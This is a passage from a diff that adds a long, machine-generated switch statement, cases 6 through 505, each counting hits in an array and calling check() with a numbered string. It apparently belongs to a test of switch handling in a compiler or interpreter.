+ case 6: if (n[6]++ > 0) check ('a string 6'); break;
+ case 7: if (n[7]++ > 0) check ('a string 7'); break;
+ case 8: if (n[8]++ > 0) check ('a string 8'); break;
+ case 9: if (n[9]++ > 0) check ('a string 9'); break;
+ case 10: if (n[10]++ > 0) check ('a string 10'); break;
+ case 11: if (n[11]++ > 0) check ('a string 11'); break;
+ case 12: if (n[12]++ > 0) check ('a string 12'); break;
+ case 13: if (n[13]++ > 0) check ('a string 13'); break;
+ case 14: if (n[14]++ > 0) check ('a string 14'); break;
+ case 15: if (n[15]++ > 0) check ('a string 15'); break;
+ case 16: if (n[16]++ > 0) check ('a string 16'); break;
+ case 17: if (n[17]++ > 0) check ('a string 17'); break;
+ case 18: if (n[18]++ > 0) check ('a string 18'); break;
+ case 19: if (n[19]++ > 0) check ('a string 19'); break;
+ case 20: if (n[20]++ > 0) check ('a string 20'); break;
+ case 21: if (n[21]++ > 0) check ('a string 21'); break;
+ case 22: if (n[22]++ > 0) check ('a string 22'); break;
+ case 23: if (n[23]++ > 0) check ('a string 23'); break;
+ case 24: if (n[24]++ > 0) check ('a string 24'); break;
+ case 25: if (n[25]++ > 0) check ('a string 25'); break;
+ case 26: if (n[26]++ > 0) check ('a string 26'); break;
+ case 27: if (n[27]++ > 0) check ('a string 27'); break;
+ case 28: if (n[28]++ > 0) check ('a string 28'); break;
+ case 29: if (n[29]++ > 0) check ('a string 29'); break;
+ case 30: if (n[30]++ > 0) check ('a string 30'); break;
+ case 31: if (n[31]++ > 0) check ('a string 31'); break;
+ case 32: if (n[32]++ > 0) check ('a string 32'); break;
+ case 33: if (n[33]++ > 0) check ('a string 33'); break;
+ case 34: if (n[34]++ > 0) check ('a string 34'); break;
+ case 35: if (n[35]++ > 0) check ('a string 35'); break;
+ case 36: if (n[36]++ > 0) check ('a string 36'); break;
+ case 37: if (n[37]++ > 0) check ('a string 37'); break;
+ case 38: if (n[38]++ > 0) check ('a string 38'); break;
+ case 39: if (n[39]++ > 0) check ('a string 39'); break;
+ case 40: if (n[40]++ > 0) check ('a string 40'); break;
+ case 41: if (n[41]++ > 0) check ('a string 41'); break;
+ case 42: if (n[42]++ > 0) check ('a string 42'); break;
+ case 43: if (n[43]++ > 0) check ('a string 43'); break;
+ case 44: if (n[44]++ > 0) check ('a string 44'); break;
+ case 45: if (n[45]++ > 0) check ('a string 45'); break;
+ case 46: if (n[46]++ > 0) check ('a string 46'); break;
+ case 47: if (n[47]++ > 0) check ('a string 47'); break;
+ case 48: if (n[48]++ > 0) check ('a string 48'); break;
+ case 49: if (n[49]++ > 0) check ('a string 49'); break;
+ case 50: if (n[50]++ > 0) check ('a string 50'); break;
+ case 51: if (n[51]++ > 0) check ('a string 51'); break;
+ case 52: if (n[52]++ > 0) check ('a string 52'); break;
+ case 53: if (n[53]++ > 0) check ('a string 53'); break;
+ case 54: if (n[54]++ > 0) check ('a string 54'); break;
+ case 55: if (n[55]++ > 0) check ('a string 55'); break;
+ case 56: if (n[56]++ > 0) check ('a string 56'); break;
+ case 57: if (n[57]++ > 0) check ('a string 57'); break;
+ case 58: if (n[58]++ > 0) check ('a string 58'); break;
+ case 59: if (n[59]++ > 0) check ('a string 59'); break;
+ case 60: if (n[60]++ > 0) check ('a string 60'); break;
+ case 61: if (n[61]++ > 0) check ('a string 61'); break;
+ case 62: if (n[62]++ > 0) check ('a string 62'); break;
+ case 63: if (n[63]++ > 0) check ('a string 63'); break;
+ case 64: if (n[64]++ > 0) check ('a string 64'); break;
+ case 65: if (n[65]++ > 0) check ('a string 65'); break;
+ case 66: if (n[66]++ > 0) check ('a string 66'); break;
+ case 67: if (n[67]++ > 0) check ('a string 67'); break;
+ case 68: if (n[68]++ > 0) check ('a string 68'); break;
+ case 69: if (n[69]++ > 0) check ('a string 69'); break;
+ case 70: if (n[70]++ > 0) check ('a string 70'); break;
+ case 71: if (n[71]++ > 0) check ('a string 71'); break;
+ case 72: if (n[72]++ > 0) check ('a string 72'); break;
+ case 73: if (n[73]++ > 0) check ('a string 73'); break;
+ case 74: if (n[74]++ > 0) check ('a string 74'); break;
+ case 75: if (n[75]++ > 0) check ('a string 75'); break;
+ case 76: if (n[76]++ > 0) check ('a string 76'); break;
+ case 77: if (n[77]++ > 0) check ('a string 77'); break;
+ case 78: if (n[78]++ > 0) check ('a string 78'); break;
+ case 79: if (n[79]++ > 0) check ('a string 79'); break;
+ case 80: if (n[80]++ > 0) check ('a string 80'); break;
+ case 81: if (n[81]++ > 0) check ('a string 81'); break;
+ case 82: if (n[82]++ > 0) check ('a string 82'); break;
+ case 83: if (n[83]++ > 0) check ('a string 83'); break;
+ case 84: if (n[84]++ > 0) check ('a string 84'); break;
+ case 85: if (n[85]++ > 0) check ('a string 85'); break;
+ case 86: if (n[86]++ > 0) check ('a string 86'); break;
+ case 87: if (n[87]++ > 0) check ('a string 87'); break;
+ case 88: if (n[88]++ > 0) check ('a string 88'); break;
+ case 89: if (n[89]++ > 0) check ('a string 89'); break;
+ case 90: if (n[90]++ > 0) check ('a string 90'); break;
+ case 91: if (n[91]++ > 0) check ('a string 91'); break;
+ case 92: if (n[92]++ > 0) check ('a string 92'); break;
+ case 93: if (n[93]++ > 0) check ('a string 93'); break;
+ case 94: if (n[94]++ > 0) check ('a string 94'); break;
+ case 95: if (n[95]++ > 0) check ('a string 95'); break;
+ case 96: if (n[96]++ > 0) check ('a string 96'); break;
+ case 97: if (n[97]++ > 0) check ('a string 97'); break;
+ case 98: if (n[98]++ > 0) check ('a string 98'); break;
+ case 99: if (n[99]++ > 0) check ('a string 99'); break;
+ case 100: if (n[100]++ > 0) check ('a string 100'); break;
+ case 101: if (n[101]++ > 0) check ('a string 101'); break;
+ case 102: if (n[102]++ > 0) check ('a string 102'); break;
+ case 103: if (n[103]++ > 0) check ('a string 103'); break;
+ case 104: if (n[104]++ > 0) check ('a string 104'); break;
+ case 105: if (n[105]++ > 0) check ('a string 105'); break;
+ case 106: if (n[106]++ > 0) check ('a string 106'); break;
+ case 107: if (n[107]++ > 0) check ('a string 107'); break;
+ case 108: if (n[108]++ > 0) check ('a string 108'); break;
+ case 109: if (n[109]++ > 0) check ('a string 109'); break;
+ case 110: if (n[110]++ > 0) check ('a string 110'); break;
+ case 111: if (n[111]++ > 0) check ('a string 111'); break;
+ case 112: if (n[112]++ > 0) check ('a string 112'); break;
+ case 113: if (n[113]++ > 0) check ('a string 113'); break;
+ case 114: if (n[114]++ > 0) check ('a string 114'); break;
+ case 115: if (n[115]++ > 0) check ('a string 115'); break;
+ case 116: if (n[116]++ > 0) check ('a string 116'); break;
+ case 117: if (n[117]++ > 0) check ('a string 117'); break;
+ case 118: if (n[118]++ > 0) check ('a string 118'); break;
+ case 119: if (n[119]++ > 0) check ('a string 119'); break;
+ case 120: if (n[120]++ > 0) check ('a string 120'); break;
+ case 121: if (n[121]++ > 0) check ('a string 121'); break;
+ case 122: if (n[122]++ > 0) check ('a string 122'); break;
+ case 123: if (n[123]++ > 0) check ('a string 123'); break;
+ case 124: if (n[124]++ > 0) check ('a string 124'); break;
+ case 125: if (n[125]++ > 0) check ('a string 125'); break;
+ case 126: if (n[126]++ > 0) check ('a string 126'); break;
+ case 127: if (n[127]++ > 0) check ('a string 127'); break;
+ case 128: if (n[128]++ > 0) check ('a string 128'); break;
+ case 129: if (n[129]++ > 0) check ('a string 129'); break;
+ case 130: if (n[130]++ > 0) check ('a string 130'); break;
+ case 131: if (n[131]++ > 0) check ('a string 131'); break;
+ case 132: if (n[132]++ > 0) check ('a string 132'); break;
+ case 133: if (n[133]++ > 0) check ('a string 133'); break;
+ case 134: if (n[134]++ > 0) check ('a string 134'); break;
+ case 135: if (n[135]++ > 0) check ('a string 135'); break;
+ case 136: if (n[136]++ > 0) check ('a string 136'); break;
+ case 137: if (n[137]++ > 0) check ('a string 137'); break;
+ case 138: if (n[138]++ > 0) check ('a string 138'); break;
+ case 139: if (n[139]++ > 0) check ('a string 139'); break;
+ case 140: if (n[140]++ > 0) check ('a string 140'); break;
+ case 141: if (n[141]++ > 0) check ('a string 141'); break;
+ case 142: if (n[142]++ > 0) check ('a string 142'); break;
+ case 143: if (n[143]++ > 0) check ('a string 143'); break;
+ case 144: if (n[144]++ > 0) check ('a string 144'); break;
+ case 145: if (n[145]++ > 0) check ('a string 145'); break;
+ case 146: if (n[146]++ > 0) check ('a string 146'); break;
+ case 147: if (n[147]++ > 0) check ('a string 147'); break;
+ case 148: if (n[148]++ > 0) check ('a string 148'); break;
+ case 149: if (n[149]++ > 0) check ('a string 149'); break;
+ case 150: if (n[150]++ > 0) check ('a string 150'); break;
+ case 151: if (n[151]++ > 0) check ('a string 151'); break;
+ case 152: if (n[152]++ > 0) check ('a string 152'); break;
+ case 153: if (n[153]++ > 0) check ('a string 153'); break;
+ case 154: if (n[154]++ > 0) check ('a string 154'); break;
+ case 155: if (n[155]++ > 0) check ('a string 155'); break;
+ case 156: if (n[156]++ > 0) check ('a string 156'); break;
+ case 157: if (n[157]++ > 0) check ('a string 157'); break;
+ case 158: if (n[158]++ > 0) check ('a string 158'); break;
+ case 159: if (n[159]++ > 0) check ('a string 159'); break;
+ case 160: if (n[160]++ > 0) check ('a string 160'); break;
+ case 161: if (n[161]++ > 0) check ('a string 161'); break;
+ case 162: if (n[162]++ > 0) check ('a string 162'); break;
+ case 163: if (n[163]++ > 0) check ('a string 163'); break;
+ case 164: if (n[164]++ > 0) check ('a string 164'); break;
+ case 165: if (n[165]++ > 0) check ('a string 165'); break;
+ case 166: if (n[166]++ > 0) check ('a string 166'); break;
+ case 167: if (n[167]++ > 0) check ('a string 167'); break;
+ case 168: if (n[168]++ > 0) check ('a string 168'); break;
+ case 169: if (n[169]++ > 0) check ('a string 169'); break;
+ case 170: if (n[170]++ > 0) check ('a string 170'); break;
+ case 171: if (n[171]++ > 0) check ('a string 171'); break;
+ case 172: if (n[172]++ > 0) check ('a string 172'); break;
+ case 173: if (n[173]++ > 0) check ('a string 173'); break;
+ case 174: if (n[174]++ > 0) check ('a string 174'); break;
+ case 175: if (n[175]++ > 0) check ('a string 175'); break;
+ case 176: if (n[176]++ > 0) check ('a string 176'); break;
+ case 177: if (n[177]++ > 0) check ('a string 177'); break;
+ case 178: if (n[178]++ > 0) check ('a string 178'); break;
+ case 179: if (n[179]++ > 0) check ('a string 179'); break;
+ case 180: if (n[180]++ > 0) check ('a string 180'); break;
+ case 181: if (n[181]++ > 0) check ('a string 181'); break;
+ case 182: if (n[182]++ > 0) check ('a string 182'); break;
+ case 183: if (n[183]++ > 0) check ('a string 183'); break;
+ case 184: if (n[184]++ > 0) check ('a string 184'); break;
+ case 185: if (n[185]++ > 0) check ('a string 185'); break;
+ case 186: if (n[186]++ > 0) check ('a string 186'); break;
+ case 187: if (n[187]++ > 0) check ('a string 187'); break;
+ case 188: if (n[188]++ > 0) check ('a string 188'); break;
+ case 189: if (n[189]++ > 0) check ('a string 189'); break;
+ case 190: if (n[190]++ > 0) check ('a string 190'); break;
+ case 191: if (n[191]++ > 0) check ('a string 191'); break;
+ case 192: if (n[192]++ > 0) check ('a string 192'); break;
+ case 193: if (n[193]++ > 0) check ('a string 193'); break;
+ case 194: if (n[194]++ > 0) check ('a string 194'); break;
+ case 195: if (n[195]++ > 0) check ('a string 195'); break;
+ case 196: if (n[196]++ > 0) check ('a string 196'); break;
+ case 197: if (n[197]++ > 0) check ('a string 197'); break;
+ case 198: if (n[198]++ > 0) check ('a string 198'); break;
+ case 199: if (n[199]++ > 0) check ('a string 199'); break;
+ case 200: if (n[200]++ > 0) check ('a string 200'); break;
+ case 201: if (n[201]++ > 0) check ('a string 201'); break;
+ case 202: if (n[202]++ > 0) check ('a string 202'); break;
+ case 203: if (n[203]++ > 0) check ('a string 203'); break;
+ case 204: if (n[204]++ > 0) check ('a string 204'); break;
+ case 205: if (n[205]++ > 0) check ('a string 205'); break;
+ case 206: if (n[206]++ > 0) check ('a string 206'); break;
+ case 207: if (n[207]++ > 0) check ('a string 207'); break;
+ case 208: if (n[208]++ > 0) check ('a string 208'); break;
+ case 209: if (n[209]++ > 0) check ('a string 209'); break;
+ case 210: if (n[210]++ > 0) check ('a string 210'); break;
+ case 211: if (n[211]++ > 0) check ('a string 211'); break;
+ case 212: if (n[212]++ > 0) check ('a string 212'); break;
+ case 213: if (n[213]++ > 0) check ('a string 213'); break;
+ case 214: if (n[214]++ > 0) check ('a string 214'); break;
+ case 215: if (n[215]++ > 0) check ('a string 215'); break;
+ case 216: if (n[216]++ > 0) check ('a string 216'); break;
+ case 217: if (n[217]++ > 0) check ('a string 217'); break;
+ case 218: if (n[218]++ > 0) check ('a string 218'); break;
+ case 219: if (n[219]++ > 0) check ('a string 219'); break;
+ case 220: if (n[220]++ > 0) check ('a string 220'); break;
+ case 221: if (n[221]++ > 0) check ('a string 221'); break;
+ case 222: if (n[222]++ > 0) check ('a string 222'); break;
+ case 223: if (n[223]++ > 0) check ('a string 223'); break;
+ case 224: if (n[224]++ > 0) check ('a string 224'); break;
+ case 225: if (n[225]++ > 0) check ('a string 225'); break;
+ case 226: if (n[226]++ > 0) check ('a string 226'); break;
+ case 227: if (n[227]++ > 0) check ('a string 227'); break;
+ case 228: if (n[228]++ > 0) check ('a string 228'); break;
+ case 229: if (n[229]++ > 0) check ('a string 229'); break;
+ case 230: if (n[230]++ > 0) check ('a string 230'); break;
+ case 231: if (n[231]++ > 0) check ('a string 231'); break;
+ case 232: if (n[232]++ > 0) check ('a string 232'); break;
+ case 233: if (n[233]++ > 0) check ('a string 233'); break;
+ case 234: if (n[234]++ > 0) check ('a string 234'); break;
+ case 235: if (n[235]++ > 0) check ('a string 235'); break;
+ case 236: if (n[236]++ > 0) check ('a string 236'); break;
+ case 237: if (n[237]++ > 0) check ('a string 237'); break;
+ case 238: if (n[238]++ > 0) check ('a string 238'); break;
+ case 239: if (n[239]++ > 0) check ('a string 239'); break;
+ case 240: if (n[240]++ > 0) check ('a string 240'); break;
+ case 241: if (n[241]++ > 0) check ('a string 241'); break;
+ case 242: if (n[242]++ > 0) check ('a string 242'); break;
+ case 243: if (n[243]++ > 0) check ('a string 243'); break;
+ case 244: if (n[244]++ > 0) check ('a string 244'); break;
+ case 245: if (n[245]++ > 0) check ('a string 245'); break;
+ case 246: if (n[246]++ > 0) check ('a string 246'); break;
+ case 247: if (n[247]++ > 0) check ('a string 247'); break;
+ case 248: if (n[248]++ > 0) check ('a string 248'); break;
+ case 249: if (n[249]++ > 0) check ('a string 249'); break;
+ case 250: if (n[250]++ > 0) check ('a string 250'); break;
+ case 251: if (n[251]++ > 0) check ('a string 251'); break;
+ case 252: if (n[252]++ > 0) check ('a string 252'); break;
+ case 253: if (n[253]++ > 0) check ('a string 253'); break;
+ case 254: if (n[254]++ > 0) check ('a string 254'); break;
+ case 255: if (n[255]++ > 0) check ('a string 255'); break;
+ case 256: if (n[256]++ > 0) check ('a string 256'); break;
+ case 257: if (n[257]++ > 0) check ('a string 257'); break;
+ case 258: if (n[258]++ > 0) check ('a string 258'); break;
+ case 259: if (n[259]++ > 0) check ('a string 259'); break;
+ case 260: if (n[260]++ > 0) check ('a string 260'); break;
+ case 261: if (n[261]++ > 0) check ('a string 261'); break;
+ case 262: if (n[262]++ > 0) check ('a string 262'); break;
+ case 263: if (n[263]++ > 0) check ('a string 263'); break;
+ case 264: if (n[264]++ > 0) check ('a string 264'); break;
+ case 265: if (n[265]++ > 0) check ('a string 265'); break;
+ case 266: if (n[266]++ > 0) check ('a string 266'); break;
+ case 267: if (n[267]++ > 0) check ('a string 267'); break;
+ case 268: if (n[268]++ > 0) check ('a string 268'); break;
+ case 269: if (n[269]++ > 0) check ('a string 269'); break;
+ case 270: if (n[270]++ > 0) check ('a string 270'); break;
+ case 271: if (n[271]++ > 0) check ('a string 271'); break;
+ case 272: if (n[272]++ > 0) check ('a string 272'); break;
+ case 273: if (n[273]++ > 0) check ('a string 273'); break;
+ case 274: if (n[274]++ > 0) check ('a string 274'); break;
+ case 275: if (n[275]++ > 0) check ('a string 275'); break;
+ case 276: if (n[276]++ > 0) check ('a string 276'); break;
+ case 277: if (n[277]++ > 0) check ('a string 277'); break;
+ case 278: if (n[278]++ > 0) check ('a string 278'); break;
+ case 279: if (n[279]++ > 0) check ('a string 279'); break;
+ case 280: if (n[280]++ > 0) check ('a string 280'); break;
+ case 281: if (n[281]++ > 0) check ('a string 281'); break;
+ case 282: if (n[282]++ > 0) check ('a string 282'); break;
+ case 283: if (n[283]++ > 0) check ('a string 283'); break;
+ case 284: if (n[284]++ > 0) check ('a string 284'); break;
+ case 285: if (n[285]++ > 0) check ('a string 285'); break;
+ case 286: if (n[286]++ > 0) check ('a string 286'); break;
+ case 287: if (n[287]++ > 0) check ('a string 287'); break;
+ case 288: if (n[288]++ > 0) check ('a string 288'); break;
+ case 289: if (n[289]++ > 0) check ('a string 289'); break;
+ case 290: if (n[290]++ > 0) check ('a string 290'); break;
+ case 291: if (n[291]++ > 0) check ('a string 291'); break;
+ case 292: if (n[292]++ > 0) check ('a string 292'); break;
+ case 293: if (n[293]++ > 0) check ('a string 293'); break;
+ case 294: if (n[294]++ > 0) check ('a string 294'); break;
+ case 295: if (n[295]++ > 0) check ('a string 295'); break;
+ case 296: if (n[296]++ > 0) check ('a string 296'); break;
+ case 297: if (n[297]++ > 0) check ('a string 297'); break;
+ case 298: if (n[298]++ > 0) check ('a string 298'); break;
+ case 299: if (n[299]++ > 0) check ('a string 299'); break;
+ case 300: if (n[300]++ > 0) check ('a string 300'); break;
+ case 301: if (n[301]++ > 0) check ('a string 301'); break;
+ case 302: if (n[302]++ > 0) check ('a string 302'); break;
+ case 303: if (n[303]++ > 0) check ('a string 303'); break;
+ case 304: if (n[304]++ > 0) check ('a string 304'); break;
+ case 305: if (n[305]++ > 0) check ('a string 305'); break;
+ case 306: if (n[306]++ > 0) check ('a string 306'); break;
+ case 307: if (n[307]++ > 0) check ('a string 307'); break;
+ case 308: if (n[308]++ > 0) check ('a string 308'); break;
+ case 309: if (n[309]++ > 0) check ('a string 309'); break;
+ case 310: if (n[310]++ > 0) check ('a string 310'); break;
+ case 311: if (n[311]++ > 0) check ('a string 311'); break;
+ case 312: if (n[312]++ > 0) check ('a string 312'); break;
+ case 313: if (n[313]++ > 0) check ('a string 313'); break;
+ case 314: if (n[314]++ > 0) check ('a string 314'); break;
+ case 315: if (n[315]++ > 0) check ('a string 315'); break;
+ case 316: if (n[316]++ > 0) check ('a string 316'); break;
+ case 317: if (n[317]++ > 0) check ('a string 317'); break;
+ case 318: if (n[318]++ > 0) check ('a string 318'); break;
+ case 319: if (n[319]++ > 0) check ('a string 319'); break;
+ case 320: if (n[320]++ > 0) check ('a string 320'); break;
+ case 321: if (n[321]++ > 0) check ('a string 321'); break;
+ case 322: if (n[322]++ > 0) check ('a string 322'); break;
+ case 323: if (n[323]++ > 0) check ('a string 323'); break;
+ case 324: if (n[324]++ > 0) check ('a string 324'); break;
+ case 325: if (n[325]++ > 0) check ('a string 325'); break;
+ case 326: if (n[326]++ > 0) check ('a string 326'); break;
+ case 327: if (n[327]++ > 0) check ('a string 327'); break;
+ case 328: if (n[328]++ > 0) check ('a string 328'); break;
+ case 329: if (n[329]++ > 0) check ('a string 329'); break;
+ case 330: if (n[330]++ > 0) check ('a string 330'); break;
+ case 331: if (n[331]++ > 0) check ('a string 331'); break;
+ case 332: if (n[332]++ > 0) check ('a string 332'); break;
+ case 333: if (n[333]++ > 0) check ('a string 333'); break;
+ case 334: if (n[334]++ > 0) check ('a string 334'); break;
+ case 335: if (n[335]++ > 0) check ('a string 335'); break;
+ case 336: if (n[336]++ > 0) check ('a string 336'); break;
+ case 337: if (n[337]++ > 0) check ('a string 337'); break;
+ case 338: if (n[338]++ > 0) check ('a string 338'); break;
+ case 339: if (n[339]++ > 0) check ('a string 339'); break;
+ case 340: if (n[340]++ > 0) check ('a string 340'); break;
+ case 341: if (n[341]++ > 0) check ('a string 341'); break;
+ case 342: if (n[342]++ > 0) check ('a string 342'); break;
+ case 343: if (n[343]++ > 0) check ('a string 343'); break;
+ case 344: if (n[344]++ > 0) check ('a string 344'); break;
+ case 345: if (n[345]++ > 0) check ('a string 345'); break;
+ case 346: if (n[346]++ > 0) check ('a string 346'); break;
+ case 347: if (n[347]++ > 0) check ('a string 347'); break;
+ case 348: if (n[348]++ > 0) check ('a string 348'); break;
+ case 349: if (n[349]++ > 0) check ('a string 349'); break;
+ case 350: if (n[350]++ > 0) check ('a string 350'); break;
+ case 351: if (n[351]++ > 0) check ('a string 351'); break;
+ case 352: if (n[352]++ > 0) check ('a string 352'); break;
+ case 353: if (n[353]++ > 0) check ('a string 353'); break;
+ case 354: if (n[354]++ > 0) check ('a string 354'); break;
+ case 355: if (n[355]++ > 0) check ('a string 355'); break;
+ case 356: if (n[356]++ > 0) check ('a string 356'); break;
+ case 357: if (n[357]++ > 0) check ('a string 357'); break;
+ case 358: if (n[358]++ > 0) check ('a string 358'); break;
+ case 359: if (n[359]++ > 0) check ('a string 359'); break;
+ case 360: if (n[360]++ > 0) check ('a string 360'); break;
+ case 361: if (n[361]++ > 0) check ('a string 361'); break;
+ case 362: if (n[362]++ > 0) check ('a string 362'); break;
+ case 363: if (n[363]++ > 0) check ('a string 363'); break;
+ case 364: if (n[364]++ > 0) check ('a string 364'); break;
+ case 365: if (n[365]++ > 0) check ('a string 365'); break;
+ case 366: if (n[366]++ > 0) check ('a string 366'); break;
+ case 367: if (n[367]++ > 0) check ('a string 367'); break;
+ case 368: if (n[368]++ > 0) check ('a string 368'); break;
+ case 369: if (n[369]++ > 0) check ('a string 369'); break;
+ case 370: if (n[370]++ > 0) check ('a string 370'); break;
+ case 371: if (n[371]++ > 0) check ('a string 371'); break;
+ case 372: if (n[372]++ > 0) check ('a string 372'); break;
+ case 373: if (n[373]++ > 0) check ('a string 373'); break;
+ case 374: if (n[374]++ > 0) check ('a string 374'); break;
+ case 375: if (n[375]++ > 0) check ('a string 375'); break;
+ case 376: if (n[376]++ > 0) check ('a string 376'); break;
+ case 377: if (n[377]++ > 0) check ('a string 377'); break;
+ case 378: if (n[378]++ > 0) check ('a string 378'); break;
+ case 379: if (n[379]++ > 0) check ('a string 379'); break;
+ case 380: if (n[380]++ > 0) check ('a string 380'); break;
+ case 381: if (n[381]++ > 0) check ('a string 381'); break;
+ case 382: if (n[382]++ > 0) check ('a string 382'); break;
+ case 383: if (n[383]++ > 0) check ('a string 383'); break;
+ case 384: if (n[384]++ > 0) check ('a string 384'); break;
+ case 385: if (n[385]++ > 0) check ('a string 385'); break;
+ case 386: if (n[386]++ > 0) check ('a string 386'); break;
+ case 387: if (n[387]++ > 0) check ('a string 387'); break;
+ case 388: if (n[388]++ > 0) check ('a string 388'); break;
+ case 389: if (n[389]++ > 0) check ('a string 389'); break;
+ case 390: if (n[390]++ > 0) check ('a string 390'); break;
+ case 391: if (n[391]++ > 0) check ('a string 391'); break;
+ case 392: if (n[392]++ > 0) check ('a string 392'); break;
+ case 393: if (n[393]++ > 0) check ('a string 393'); break;
+ case 394: if (n[394]++ > 0) check ('a string 394'); break;
+ case 395: if (n[395]++ > 0) check ('a string 395'); break;
+ case 396: if (n[396]++ > 0) check ('a string 396'); break;
+ case 397: if (n[397]++ > 0) check ('a string 397'); break;
+ case 398: if (n[398]++ > 0) check ('a string 398'); break;
+ case 399: if (n[399]++ > 0) check ('a string 399'); break;
+ case 400: if (n[400]++ > 0) check ('a string 400'); break;
+ case 401: if (n[401]++ > 0) check ('a string 401'); break;
+ case 402: if (n[402]++ > 0) check ('a string 402'); break;
+ case 403: if (n[403]++ > 0) check ('a string 403'); break;
+ case 404: if (n[404]++ > 0) check ('a string 404'); break;
+ case 405: if (n[405]++ > 0) check ('a string 405'); break;
+ case 406: if (n[406]++ > 0) check ('a string 406'); break;
+ case 407: if (n[407]++ > 0) check ('a string 407'); break;
+ case 408: if (n[408]++ > 0) check ('a string 408'); break;
+ case 409: if (n[409]++ > 0) check ('a string 409'); break;
+ case 410: if (n[410]++ > 0) check ('a string 410'); break;
+ case 411: if (n[411]++ > 0) check ('a string 411'); break;
+ case 412: if (n[412]++ > 0) check ('a string 412'); break;
+ case 413: if (n[413]++ > 0) check ('a string 413'); break;
+ case 414: if (n[414]++ > 0) check ('a string 414'); break;
+ case 415: if (n[415]++ > 0) check ('a string 415'); break;
+ case 416: if (n[416]++ > 0) check ('a string 416'); break;
+ case 417: if (n[417]++ > 0) check ('a string 417'); break;
+ case 418: if (n[418]++ > 0) check ('a string 418'); break;
+ case 419: if (n[419]++ > 0) check ('a string 419'); break;
+ case 420: if (n[420]++ > 0) check ('a string 420'); break;
+ case 421: if (n[421]++ > 0) check ('a string 421'); break;
+ case 422: if (n[422]++ > 0) check ('a string 422'); break;
+ case 423: if (n[423]++ > 0) check ('a string 423'); break;
+ case 424: if (n[424]++ > 0) check ('a string 424'); break;
+ case 425: if (n[425]++ > 0) check ('a string 425'); break;
+ case 426: if (n[426]++ > 0) check ('a string 426'); break;
+ case 427: if (n[427]++ > 0) check ('a string 427'); break;
+ case 428: if (n[428]++ > 0) check ('a string 428'); break;
+ case 429: if (n[429]++ > 0) check ('a string 429'); break;
+ case 430: if (n[430]++ > 0) check ('a string 430'); break;
+ case 431: if (n[431]++ > 0) check ('a string 431'); break;
+ case 432: if (n[432]++ > 0) check ('a string 432'); break;
+ case 433: if (n[433]++ > 0) check ('a string 433'); break;
+ case 434: if (n[434]++ > 0) check ('a string 434'); break;
+ case 435: if (n[435]++ > 0) check ('a string 435'); break;
+ case 436: if (n[436]++ > 0) check ('a string 436'); break;
+ case 437: if (n[437]++ > 0) check ('a string 437'); break;
+ case 438: if (n[438]++ > 0) check ('a string 438'); break;
+ case 439: if (n[439]++ > 0) check ('a string 439'); break;
+ case 440: if (n[440]++ > 0) check ('a string 440'); break;
+ case 441: if (n[441]++ > 0) check ('a string 441'); break;
+ case 442: if (n[442]++ > 0) check ('a string 442'); break;
+ case 443: if (n[443]++ > 0) check ('a string 443'); break;
+ case 444: if (n[444]++ > 0) check ('a string 444'); break;
+ case 445: if (n[445]++ > 0) check ('a string 445'); break;
+ case 446: if (n[446]++ > 0) check ('a string 446'); break;
+ case 447: if (n[447]++ > 0) check ('a string 447'); break;
+ case 448: if (n[448]++ > 0) check ('a string 448'); break;
+ case 449: if (n[449]++ > 0) check ('a string 449'); break;
+ case 450: if (n[450]++ > 0) check ('a string 450'); break;
+ case 451: if (n[451]++ > 0) check ('a string 451'); break;
+ case 452: if (n[452]++ > 0) check ('a string 452'); break;
+ case 453: if (n[453]++ > 0) check ('a string 453'); break;
+ case 454: if (n[454]++ > 0) check ('a string 454'); break;
+ case 455: if (n[455]++ > 0) check ('a string 455'); break;
+ case 456: if (n[456]++ > 0) check ('a string 456'); break;
+ case 457: if (n[457]++ > 0) check ('a string 457'); break;
+ case 458: if (n[458]++ > 0) check ('a string 458'); break;
+ case 459: if (n[459]++ > 0) check ('a string 459'); break;
+ case 460: if (n[460]++ > 0) check ('a string 460'); break;
+ case 461: if (n[461]++ > 0) check ('a string 461'); break;
+ case 462: if (n[462]++ > 0) check ('a string 462'); break;
+ case 463: if (n[463]++ > 0) check ('a string 463'); break;
+ case 464: if (n[464]++ > 0) check ('a string 464'); break;
+ case 465: if (n[465]++ > 0) check ('a string 465'); break;
+ case 466: if (n[466]++ > 0) check ('a string 466'); break;
+ case 467: if (n[467]++ > 0) check ('a string 467'); break;
+ case 468: if (n[468]++ > 0) check ('a string 468'); break;
+ case 469: if (n[469]++ > 0) check ('a string 469'); break;
+ case 470: if (n[470]++ > 0) check ('a string 470'); break;
+ case 471: if (n[471]++ > 0) check ('a string 471'); break;
+ case 472: if (n[472]++ > 0) check ('a string 472'); break;
+ case 473: if (n[473]++ > 0) check ('a string 473'); break;
+ case 474: if (n[474]++ > 0) check ('a string 474'); break;
+ case 475: if (n[475]++ > 0) check ('a string 475'); break;
+ case 476: if (n[476]++ > 0) check ('a string 476'); break;
+ case 477: if (n[477]++ > 0) check ('a string 477'); break;
+ case 478: if (n[478]++ > 0) check ('a string 478'); break;
+ case 479: if (n[479]++ > 0) check ('a string 479'); break;
+ case 480: if (n[480]++ > 0) check ('a string 480'); break;
+ case 481: if (n[481]++ > 0) check ('a string 481'); break;
+ case 482: if (n[482]++ > 0) check ('a string 482'); break;
+ case 483: if (n[483]++ > 0) check ('a string 483'); break;
+ case 484: if (n[484]++ > 0) check ('a string 484'); break;
+ case 485: if (n[485]++ > 0) check ('a string 485'); break;
+ case 486: if (n[486]++ > 0) check ('a string 486'); break;
+ case 487: if (n[487]++ > 0) check ('a string 487'); break;
+ case 488: if (n[488]++ > 0) check ('a string 488'); break;
+ case 489: if (n[489]++ > 0) check ('a string 489'); break;
+ case 490: if (n[490]++ > 0) check ('a string 490'); break;
+ case 491: if (n[491]++ > 0) check ('a string 491'); break;
+ case 492: if (n[492]++ > 0) check ('a string 492'); break;
+ case 493: if (n[493]++ > 0) check ('a string 493'); break;
+ case 494: if (n[494]++ > 0) check ('a string 494'); break;
+ case 495: if (n[495]++ > 0) check ('a string 495'); break;
+ case 496: if (n[496]++ > 0) check ('a string 496'); break;
+ case 497: if (n[497]++ > 0) check ('a string 497'); break;
+ case 498: if (n[498]++ > 0) check ('a string 498'); break;
+ case 499: if (n[499]++ > 0) check ('a string 499'); break;
+ case 500: if (n[500]++ > 0) check ('a string 500'); break;
+ case 501: if (n[501]++ > 0) check ('a string 501'); break;
+ case 502: if (n[502]++ > 0) check ('a string 502'); break;
+ case 503: if (n[503]++ > 0) check ('a string 503'); break;
+ case 504: if (n[504]++ > 0) check ('a string 504'); break;
+ case 505: if (n[505]++ > 0) check ('a string 505'); break;
